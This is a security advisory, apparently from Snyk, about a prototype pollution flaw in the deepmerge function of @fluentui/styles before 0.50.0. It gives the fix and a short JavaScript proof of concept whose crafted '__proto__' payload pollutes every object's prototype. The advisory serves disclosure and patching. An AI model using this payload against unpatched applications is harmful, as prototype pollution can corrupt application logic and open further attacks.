Prototype Pollution Affecting @fluentui/styles package, versions <0.50.0


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Prototype Pollution vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-JS-FLUENTUISTYLES-570808
  • published5 Jun 2020
  • disclosed5 Jun 2020
  • creditSam Sanoop of Snyk Security Team

Introduced: 5 Jun 2020

CVE NOT AVAILABLE CWE-1321  (opens in a new tab)
First added by Snyk

How to fix?

Upgrade @fluentui/styles to version 0.50.0 or higher.

Overview

@fluentui/styles is a set of styling utilities for CSS-in-JS.

Affected versions of this package are vulnerable to Prototype Pollution. The deepmerge function available within the styles package of FluentUI allows one object to merge with another recursively. Given a value such as __proto__, this value is merged without any prior validation. __proto__ will modify the properties of all existing properties and new properties resulting in pollution of an object's prototype.

PoC

var styles = require("@fluentui/styles");
var malicious_payload = '{"__proto__":{"vulnerable":"Polluted"}}';
var source2 = {
    k3: { }  
  };
var x = styles.deepmerge(source2, JSON.parse(malicious_payload))
console.log({}.vulnerable)

References

CVSS Scores

version 3.1